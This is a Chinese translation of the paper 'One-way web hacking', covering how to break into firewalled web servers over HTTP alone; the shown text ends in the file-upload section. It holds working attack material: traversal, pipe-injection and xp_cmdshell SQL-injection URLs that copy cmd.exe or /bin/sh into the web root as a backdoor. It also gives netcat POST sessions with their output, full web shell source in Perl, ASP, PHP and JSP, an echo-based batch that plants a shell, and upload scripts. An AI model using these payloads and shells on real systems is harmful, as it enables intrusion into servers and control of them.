文档标题:单向Web入侵
英文标题:One-way web hacking
原始出处:http://net-square.com/papers/one_way/one_way.html
文档作者:saumil[at]net-square.com
翻 译:漂浮的尘埃&黯魂
信息来源:脚本安全小组(http://www.cnsst.org)
目录
1.0 简介
1.1 普通web应用系统的组成
1.2 与Web 应用系统的URL映射
2.0 One-way web hack流程图
3.0 探测入口点
3.0.1 利用URL解析
3.0.2 利用不合法的输入参数
3.0.3 利用SQL注入
3.1 调用命令解释程序
3.1.1 POSTing命令到CMD.EXE
3.1.2 POSTing命令到 /bin/sh
3.1.3 POST过程自动化
4.0 基于命令提示符的web
4.0.1 Perl - perl_shell.cgi
4.0.2 ASP - cmdasp.asp
4.0.3 PHP - sys.php
4.0.4 JSP - cmdexec.jsp
4.1 安装基于命令提示符的web
4.1.1 create_cmdasp.bat
4.1.2 重新创建任意二进制文件
5.0 文件上传者
5.0.1 ASP - upload.asp和upload.inc
5.0.2 Perl - upload.cgi
5.0.3 PHP - upload.php
6.0 One-way提权
6.1 Windows/IIS提权
6.1.1 上传Windows攻击工具
6.1.2 idq.dll – 提权
6.2 Linux/Apache提权
6.2.1 上传UNIX攻击工具
6.2.2 ptrace.c提权
7.0 基于SQL 命令提示符的web
7.1 一个SQL命令提示符的剖析 - sqlquery.asp
7.2 一个实例 - IIS和MS SQL Server
7.3 上传sqlquery.asp
7.4 窃取web应用程序
7.5 通过sqlquery.asp执行SQL查询
7.6 执行存储过程
8.0 结束语
9.0 参考
1.0 简介
单向Web入侵是一种完全依赖于HTTP 传输来进行攻击和渗透web 服务器以及应用程序服务器的技术。这种技术被阐明用以论证当提到 web 应用程序攻击时,是否拥有严密的防火墙,或者 SSL 没有本质上的问题。One-way 技术的前提是只允许有效的HTTP 请求进入防火墙,以及有效的HTTP 应答流出防火墙。
我在 2000 年 4 月就开始了对 单向Web入侵 的研究,那时我面临需要上传一个任意文件到一台拥有严密防火墙的web 服务器上。从那时起,许多其他技术的发展以及所有这些技术的总结促成了单向Web入侵方法的产生。
1.1 一个普通 web 应用系统的组成
一个 web 应用系统由四部分组成,即:通常是一个浏览器的 web 客户端,前端 web 服务器,运行大量应用程序的应用程序服务器,数据库服务器。下面的图表显示了这些部分的组成。
web 应用程序服务器支撑所有逻辑应用程序,可能是脚本表单,对象或是已编译的二进制文件。前端的web 服务器作为连接外界的应用程序接口,接收来自web 客户端的通过HTML 表单和HTTP 的输入,以及传递由HTML 页面表单中的应用程序产生的输出。在中心,连接后端数据库服务器的应用程序负责完成处理。
假定防火墙是一个经过严密配置的,只允许HTTP 请求的进入和HTML 应答的流出。
1.2 与 Web 应用系统的 URL 映射
当与一个web 应用程序进行交互时,在浏览器和web 服务器之间来回发送的URL 一般具有如下的格式:
http:// server / path / application ? parameters
即:http:// 服务器/ 路径/ 应用程序? 参数
下面的图表说明了web 应用系统中各个区域的不同部分的URL 映射:

防火墙允许HTTP或HTTPS协议进入和流出
服务器和路径部分由前端 web 服务器解析。目前任何 URL 解析上的漏洞(比如 unicode, double-decode)都能通过篡改 URL 中的
服务器和路径得以利用。
应用程序由已配置好的或已注册的应用程序服务器执行。篡改这部分会导致可以利用目前的服务器漏洞。(例如:使用 JSP servlet句柄编译和执行任意文件)
如果提供给应用程序的参数不合法,将导致应用程序出现特殊的脆弱点。(例如:在Perl 管道中插入“I”字符到open()函数调用中)
假如一个参数作为一个SQL数据库查询的一部分来使用,不合法的参数可能导致SQL注入攻击。(例如:使用存储过程,像“xp_cmdshell”执行任意命令)
细节上的讨论可以在“Web Hacking – Attacks and Defense [1](第九章参考中的1)”的第五章中找到。
2.0 One-way web hack 流程图
考虑这种情况:一个攻击者发现了一个web 应用程序的漏洞,并能够使用前面提到的技术来进行利用。攻击者能够执行任意命令,但是由于严密的防火墙,他无法继续进行更深一层的渗透。为了使攻击有效,需要注意以下两个要点:
1. 交互式终端访问:执行命令以截获敏感信息或进一步渗透内网。
2. 文件传输访问:上传入侵工具,像端口扫描器,rootkit 等等。
一个严密的防火墙可能会使上面的思路很难实现,尽管如此,却也并非不可能。为了绕过这些限制,要用到一点web应用编程知识,我们可以创建一个基于命令提示符的web以及文件上传程序。
在继续深入之前我们应该先看看one-way web hack的不同阶段,正如下面的图表所示:

3.0 探测入口点
One-way web hack 从我们能在目标 web 服务器上执行远程命令开始。我们可以使用过去攻击 web 服务器的任何惯用手法。下面将举出一些如先前描述的那样,基于不同类型URL映射来完成远程指令执行的不同方法的例子。关于web服务器和应用程序漏洞的细节探讨超出了这篇文档的范围。
我们的目标是,通过移动命令解释程序(/bin/sh, cmd.exe 等)到web 服务器文档根目录下的一个区域里来建立一个后门。这样,我们便可以通过URL 来调用命令解释程序。我们举3 个例子来说明怎样用不同的技术建立后门。
下面的图表说明了用来探测入口点的一些惯用技巧。
3.0.1 利用 URL 解析
Unicode / Double decode攻击是URL解析漏洞的一个经典例子。下面的URL 复制了命令解释程序cmd.exe到web服务器文档根目录的”scripts/” 目录下:
http://www1.example.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts
3.0.2 利用不合法的输入参数
在这个例子中,一个未经检测的参数通过一个不可靠的open()函数调用,直接从URL传递到了Perl CGI 脚本的news.cgi中:
http://www2.example.com/cgi-bin/news.cgi?story=101003.txt|cp+/bin/sh+/usr/local/apache/ cgi-bin/sh.cgi|
shell 程序(/bin/sh)作为sh.cgi 被复制到了cgi-bin 目录下。
3.0.3 利用 SQL 注入
这里,我们演示了怎样经调用数据库服务器上的存储过程来进行SQL注入,并通过存储过程来执行命令:
http://www3.example.com/product.asp?id=5%01EXEC+master..xp_cmdshell+'copy+c:\winnt\syst em32\cmd.exe+c:\inetpub\scripts\'
3.1 调用命令解释程序
我们移动命令解释程序或者shell到web根目录来建立后门的目的是能够通过远程HTTP调用它。HTTP的POST方法用来完成这个再恰当不过了。通过使用 POST,被传递到所调资源的输入数据可以不是标准输入,而 web 服务器通过 HTTP 连接返回的输出仍然是标准输出。
紧接着我们就用2 个例子说明如何通过POST发送命令给命令解释程序,其中之一针对WindowsNT和IIS平台上的CMD.EXE,另一个则针对的是Linux和Apache 平台的sh.cgi(/bin/sh的副本)。
3.1.1 POSTing 命令到 CMD.EXE
下面的例子显示了CMD.EXE运行的 2 个命令,前提是http://www1.example.com/scripts/cmd.exe 可访问。POST请求已用蓝色字体标出。
$ nc www1.example.com 80POST /scripts/cmd.exe HTTP/1.0Host: www1.example.comContent-length: 17 verdir c:\exit HTTP/1.1 200 OKServer: Microsoft-IIS/4.0Date: Wed, 08 Dec 1999 06:13:19 GMTContent-Type: application/octet-streamMicrosoft(R) Windows NT(TM)(C) Copyright 1985-1996 Microsoft Corp. C:\Inetpub\scripts>ver Windows NT Version 4.0 C:\Inetpub\scripts>dir c:\ Volume in drive C has no label. Volume Serial Number is E43A-2A0A Directory of c:\ 10/04/00 05:28a <DIR> WINNT10/04/00 05:31a <DIR> Program Files10/04/00 05:37a <DIR> TEMP10/04/00 07:01a <DIR> Inetpub10/04/00 07:01a <DIR> certs11/28/00 05:12p <DIR> software12/06/00 03:46p <DIR> src12/07/00 12:50p <DIR> weblogic12/07/00 12:53p <DIR> weblogic_publish12/07/99 01:11p <DIR> JavaWebServer2.012/07/99 06:49p 134,217,728 pagefile.sys12/07/99 07:24a <DIR> urlscan12/07/99 04:55a <DIR> Netscape 13 File(s) 134,217,728 bytes 120,782,848 bytes free C:\Inetpub\scripts>exit$
在上面的例子中有一些要点需要注意:CMD.EXE 必须适当地接收输入,并适当地返回web 服务器的输出,我们在命令最后键入了“exit”,用以确保CMD.EXE 输入流完全终止。因此 POST 请求中的Content-length也被计算出,要特别记住“exit”。
3.1.2 POSTing 命令到/bin/sh
下面的例子显示了/bin/sh运行的 3 个命令,前提是http://www2.example.com/cgi-bin/sh.cgi可访问。POST请求同样已用蓝色字体标注。 $ nc www2.example.com 80POST /cgi-bin/sh.cgi HTTP/1.0Host: www2.example.comContent-type: text/htmlContent-length: 60 echo 'Content-type: text/html'echounameidls -la /exit HTTP/1.1 200 OKDate: Thu, 27 Nov 2003 20:47:20 GMTServer: Apache/1.3.12Connection: closeContent-Type: text/html Linuxuid=99(nobody) gid=99(nobody) groups=99(nobody)total 116drwxr-xr-x 19 root root 4096 Feb 2 2002 .drwxr-xr-x 19 root root 4096 Feb 2 2002 ..drwxr-xr-x 2 root root 4096 Jun 20 2001 bindrwxr-xr-x 2 root root 4096 Nov 28 02:01 bootdrwxr-xr-x 6 root root 36864 Nov 28 02:01 devdrwxr-xr-x 29 root root 4096 Nov 28 02:01 etcdrwxr-xr-x 8 root root 4096 Dec 1 2001 homedrwxr-xr-x 4 root root 4096 Jun 19 2001 libdrwxr-xr-x 2 root root 16384 Jun 19 2001 lost+founddrwxr-xr-x 4 root root 4096 Jun 19 2001 mntdrwxr-xr-x 3 root root 4096 Feb 2 2002 optdr-xr-xr-x 37 root root 0 Nov 28 2003 procdrwxr-x--- 9 root root 4096 Feb 9 2003 rootdrwxr-xr-x 3 root root 4096 Jun 20 2001 sbindrwxrwxr-x 2 root root 4096 Feb 2 2002 srcdrwxrwxrwt 7 root root 4096 Nov 28 02:01 tmpdrwxr-xr-x 4 root root 4096 Feb 2 2002 u01drwxr-xr-x 21 root root 4096 Feb 2 2002 usrdrwxr-xr-x 16 root root 4096 Jun 19 2001 var$
需要注意的是Apache中的/bin/sh 略微有些不同,Apache期望得到成型的来自它的所有CGI 程序的HTTP请求头部,因此我们不得不预先考虑输出中的"Content-type: text/html"行。两个“echo”命令正是为了这个目的。
3.1.3 自动化 POST 过程
我们创建了2个Perl脚本 post_cmd.pl 和 post_sh.pl,试图通过正确的POST 请求把发送命令到web 服务器的任务自动化。调用 post_cmd.pl 的语法看上去像下面这样:
usage: post_cmd.pl url [proxy:port] < data
By Saumil Shah (c) net-square 2001
post_cmd.pl 以标准输入方式把所有POSTed 的数据发向URL.可以通过键入 ^D (UNIX)
or ^Z (DOS) 结束;也可使用文件或管道重定向数据。
Post_cmd.pl具有能够通过HTTP代理服务器发送POST请求的功能。Post_sh.pl与它类似。
Post_cmd.pl的输出: $ ./post_cmd.pl http://www1.example.com/scripts/cmd.exeverdir c:\^DHTTP/1.1 200 OKServer: Microsoft-IIS/4.0Date: Wed, 08 Dec 1999 06:05:46 GMTContent-Type: application/octet-streamMicrosoft(R) Windows NT(TM)(C) Copyright 1985-1996 Microsoft Corp. C:\Inetpub\scripts>ver Windows NT Version 4.0 C:\Inetpub\scripts>dir c:\ Volume in drive C has no label. Volume Serial Number is E43A-2A0A Directory of c:\ 10/04/00 05:28a <DIR> WINNT10/04/00 05:31a <DIR> Program Files10/04/00 05:37a <DIR> TEMP10/04/00 07:01a <DIR> Inetpub10/04/00 07:01a <DIR> certs11/28/00 05:12p <DIR> software12/06/00 03:46p <DIR> src12/07/00 12:50p <DIR> weblogic12/07/00 12:53p <DIR> weblogic_publish12/07/99 01:11p <DIR> JavaWebServer2.012/07/99 06:49p 134,217,728 pagefile.sys12/07/99 07:24a <DIR> urlscan12/07/99 04:55a <DIR> Netscape 13 File(s) 134,217,728 bytes 120,782,848 bytes free C:\Inetpub\scripts>exit$
Post_sh.pl的输出: $ ./post_sh.pl http://www2.example.com/cgi-bin/sh.cgiunameidls -la /^DHTTP/1.1 200 OKDate: Thu, 27 Nov 2003 20:43:54 GMTServer: Apache/1.3.12Connection: closeContent-Type: text/html Linuxuid=99(nobody) gid=99(nobody) groups=99(nobody)total 116drwxr-xr-x 19 root root 4096 Feb 2 2002 .drwxr-xr-x 19 root root 4096 Feb 2 2002 ..drwxr-xr-x 2 root root 4096 Jun 20 2001 bindrwxr-xr-x 2 root root 4096 Nov 28 02:01 bootdrwxr-xr-x 6 root root 36864 Nov 28 02:01 devdrwxr-xr-x 29 root root 4096 Nov 28 02:01 etcdrwxr-xr-x 8 root root 4096 Dec 1 2001 homedrwxr-xr-x 4 root root 4096 Jun 19 2001 libdrwxr-xr-x 2 root root 16384 Jun 19 2001 lost+founddrwxr-xr-x 4 root root 4096 Jun 19 2001 mntdrwxr-xr-x 3 root root 4096 Feb 2 2002 optdr-xr-xr-x 37 root root 0 Nov 28 2003 procdrwxr-x--- 9 root root 4096 Feb 9 2003 rootdrwxr-xr-x 3 root root 4096 Jun 20 2001 sbindrwxrwxr-x 2 root root 4096 Feb 2 2002 srcdrwxrwxrwt 7 root root 4096 Nov 28 02:01 tmpdrwxr-xr-x 4 root root 4096 Feb 2 2002 u01drwxr-xr-x 21 root root 4096 Feb 2 2002 usrdrwxr-xr-x 16 root root 4096 Jun 19 2001 var$
照这样,我们便能使用HTTP POST请求发送多重命令到目标web服务器上。这个概念将被用来在web服务器上创建任意文件,正如即将在4.1节中讨论的一样。
4.0 基于命令提示符的 WEB
在完成远程命令执行后,我们需要能够交互式的在目标web服务器上执行命令。比较普遍的做法是使其能够产生任一shell,并绑定到目标服务器的一个TCP端口上,或者使shell反向连接到我们监听的TCP端口上。但是,如果有一个严密的防火墙,只允许HTTP请求
进入和HTTP应答流出,那么这个方法也就失效了。这里我们将列举出一些基于命令提示符的web 的例子,以绕过这些限制。
一个基于命令提示符的web 可以通过一个HTML表单,提供一个半交互式的shell终端的功能。表单以<INPUT>域接收命令,并以预先文本格式显示结果。
之所以说基于命令提示符的web是半交互式,是因为它们并不保存终端状态,比如当前工作目录,系统环境等等。不过这些可以由基于HTML表单的 session实现,但那已超出了本文的范围。
基于命令提示符的web执行的命令是以web服务进程的权限执行的,典型的像运行在UNIX系统上的Apache,uid是“nobody”,然而运行在Windows上的IIS,(用户组)权限却是“IUSER_机器名”或“IWAM_机器名”。
下面给出的是4个基于命令提示符的web的例子:
4.0.1 Perl – perl_shell.cgi
这个脚本使用Perl和cgi-lib.pl提供了一个基于命令提示符的半交互式的web:
#!/usr/bin/perl require "cgi-lib.pl"; print &PrintHeader;print "<FORM ACTION=perl_shell.cgi METHOD=GET>\n";print "<INPUT NAME=cmd TYPE=TEXT>\n";print "<INPUT TYPE=SUBMIT VALUE=Run>\n";print "</FORM>\n"; &ReadParse(*in); if($in{'cmd'} ne "") { print "<PRE>\n$in{'cmd'}\n\n"; print `/bin/bash -c "$in{'cmd'}"`; print "</PRE>\n"; }
4.0.2 ASP – cmdasp.asp
这个ASP脚本是用于运行在Windows服务器上的IIS的一个基于命令提示符的web。Cmdasp.asp是基于maceo(at)dogmile.com的修改版。
<% Dim oScript, oScriptNet, oFileSys, oFile, szCMD, szTempFile On Error Resume Next Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") szCMD = Request.Form(".CMD") If (szCMD <> "") Then szTempFile = "C:\" & oFileSys.GetTempName( ) Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If%><FORM action="<%= Request.ServerVariables("URL") %>" method="POST"><input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"></FORM><PRE><% If (IsObject(oFile)) Then On Error Resume Next Response.Write Server.HTMLEncode(oFile.ReadAll) oFile.Close Call oFileSys.DeleteFile(szTempFile, True) End If%></PRE>

这个脚本与基于命令提示符的其他ASP脚本的优势在于,执行shell 命令时不需要注册COM组件,并且不需要任何administrator权限。
4.0.3 PHP – sys.php
用PHP创建一个基于shell 的web非常简单,下面的脚本用PHP举例说明了一个基于shell的web:
<FORM ACTION="sys.php" METHOD=POST>Command: <INPUT TYPE=TEXT NAME=cmd><INPUT TYPE=SUBMIT VALUE="Run"><FORM><PRE><?php if(isset($cmd)) { system($cmd); }?><PRE>

4.0.4 JSP – cmdexec.jsp
下面的JSP代码是用在支持Java Server Pages的J2EE应用服务器上的一个基于命令提示符的web:
<FORM METHOD=GET ACTION='cmdexec.jsp'><INPUT name='cmd' type=text><INPUT type=submit value='Run'></FORM> <%@ page import="java.io.*" %><% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s; } } catch(IOException e) { e.printStackTrace(); } }%> <pre><%=output %></pre>
任何允许执行本地OS命令的 web应用编程语言,都能被用来创建一个基于命令提示符的web。
4.1 安装基于命令提示符的 web
通过远程命令执行,我们能够执行像“echo”这样的命令并把输出重定向到一个文件中。通过多重“echo”命令,我们就可以创建一个文件,每次传送一行到远程web服务器上。这里首要的是在目标web服务器上能有一个可写的目录。
4.1.1 create_cmdasp.bat
下面的命令可以被Windows 的DOS提示符执行,用以创建4.0.2节中提到的cmdasp.asp:
echo ^<^% > cmdasp.aspecho Dim oScript, oScriptNet, oFileSys, oFile, szCMD, szTempFile >> cmdasp.aspecho On Error Resume Next >> cmdasp.aspecho Set oScript = Server.CreateObject(^"WSCRIPT.SHELL^") >> cmdasp.aspecho Set oScriptNet = Server.CreateObject(^"WSCRIPT.NETWORK^") >> cmdasp.aspecho Set oFileSys = Server.CreateObject(^"Scripting.FileSystemObject^") >> cmdasp.aspecho szCMD = Request.Form(^".CMD^") >> cmdasp.aspecho If (szCMD ^<^> ^"^") Then >> cmdasp.aspecho szTempFile = ^"C:\^" & oFileSys.GetTempName() >> cmdasp.aspecho Call oScript.Run(^"cmd.exe /c ^" ^& szCMD ^& ^" ^> ^" ^& szTempFile,0,True) >> cmdasp.aspecho Set oFle = oFileSys.OpenTextFile(szTempFile,1,False,0) >> cmdasp.aspecho End If >> cmdasp.aspecho ^%^> >> cmdasp.aspecho ^<FORM action=^"^<^%= Request.ServerVariables(^"URL^") ^%^>^" method=^"POST^"^> >> cmdasp.aspecho ^<input type=text name=^".CMD^" size=70 value=^"^<^%= szCMD ^%^>^"^> >> cmdasp.aspecho ^<input type=submit value=^"Run^"^> >> cmdasp.aspecho ^</FORM^> >> cmdasp.aspecho ^<PRE^> >> cmdasp.aspecho ^<^% >> cmdasp.aspecho If (IsObject(oFile)) Then >> cmdasp.aspecho On Error Resume Next >> cmdasp.aspecho Response.Write Server.HTMLEncode(oFile.ReadAll) >> cmdasp.aspecho oFile.Close >> cmdasp.aspecho Call oFileSys.DeleteFile(szTempFile, True) >> cmdasp.aspecho End If >> cmdasp.aspecho ^%^> >> cmdasp.aspecho ^<^/PRE^> >> cmdasp.asp
使用echo这样的命令可以在服务器上创建任意文本文件,但像&, ", <, >, |, %等特殊字符应该在其前面加上转义字符。在大多数UNIX shell上转义字符是”\”,而在Windows命令提示符下转义字符为“^”.
在目标web服务器上一样能创建基于命令提示符的其他web.
4.1.2 重新创建任意二进制文件
在UNIX shell 中也可以通过“\xHH”格式使用”echo”命令写任意字符到一个文件中,“\xHH”代表的是十六进制值。二进制文件中的一个字符串可以用一连串的十六进制值来表示:
echo -e "\x0B\xAD\xC0\xDE\x0B\xAD\xC0\xDE\x0B\xAD\xC0\xDE" > file
即使CMD.EXE 不能写任意字符,我们仍然可以在Windows 上创建任意二进制文件。窍门是使用scripted或非交互式模式的DEBUG.EXE.
5.0 文件上传者
除了能够在目标web服务器上执行命令之外,攻击者还对上传文件到服务器上感兴趣。通常的方法有FTP,NFS,NETBIOS等,但如果防火墙阻止了所有这些,它们就都将无能为力。要绕过这个限制,我们需要创建一个文件上传者。4.1.2节中提到的方法在上传大一点的文件时可能会很慢,很痛苦。不过,我们有更好的选择。
可以使用HTTP POST Multipart-MIME方法来上传文件,发送到服务器上的文件内容是一个HTTP POST请求。在服务器上,一个上传脚本接收到这些内容后便把它们保存为一个文件。HTTP Multipart-MIME POST请求的细节讨论超出了这篇文档的范围,故不详细描述。
为了完成文件上传,我们需要一个web服务器进程(nobody, IUSR_机器名, IWAM_机器名,等.)有权限创建和写文件的目录。
下面给出了3 个上传脚本的例子:
5.0.1 ASP – upload.asp 和 upload.inc
如下2个文件包含的代码能够接收HTTP POST Multipart-MIME数据,并把它保存到一个文件中。ASP并不能解析HTTP POST Multipart-MIME加密的数据,因此附加文件upload.inc包含了必需的代码。
Upload.asp <form method=post ENCTYPE="multipart/form-data"><input type=file name="File1"><input type="submit" Name="Action" value="Upload"></form><hr> <!--#INCLUDE FILE="upload.inc"--><%If Request.ServerVariables("REQUEST_METHOD") = "POST" Then Set Fields = GetUpload() If Fields("File1").FileName <> "" Then Fields("File1").Value.SaveAs Server.MapPath(".") & "\" & Fields("File1").FileName Response.Write("<LI>Upload: " & Fields("File1").FileName) End IfEnd If%>
关联文件upload.inc的源代码可以在这里找到:
http://net-square.com/papers/one_way/source_code.html#uploadinc

5.0.2 Perl – upload.cgi
通过使用Perl 和cgilib.pl(http://net-square.com/papers/one_way/source_code.html#cgilib)可以很容易创建一个上传脚本。正如下面的例子:
#!/usr/bin/perl require "cgi-lib.pl"; print &PrintHeader;print "<form method='POST' enctype='multipart/form-data' action='upload.cgi'>\n";print "File path: <input type=file name=upfile>\n";print "<input type=submit value=upload></form>\n";&ReadParse;

5.0.3 PHP – upload.php
使用PHP创建一个上传者也很简单: <FORM ENCTYPE="multipart/form-data" ACTION="upload.php" METHOD=POST><INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="10000000"><input type="File" name="userfile" size="30"><INPUT TYPE="submit" VALUE="upload"></FORM>